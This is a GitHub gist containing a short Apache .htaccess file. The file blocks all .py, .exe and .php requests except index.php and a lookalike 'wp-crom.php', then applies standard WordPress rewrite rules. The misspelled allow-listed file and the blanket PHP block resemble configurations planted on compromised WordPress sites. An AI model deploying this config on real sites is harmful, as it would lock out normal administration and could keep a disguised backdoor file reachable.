Skip to content

Instantly share code, notes, and snippets.

@learn2reid
Created March 18, 2024 21:27
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save learn2reid/d48a79523eca37bab9562b647b1d2e95 to your computer and use it in GitHub Desktop.
Save learn2reid/d48a79523eca37bab9562b647b1d2e95 to your computer and use it in GitHub Desktop.
.htaccess
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|wp-crom.php|)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment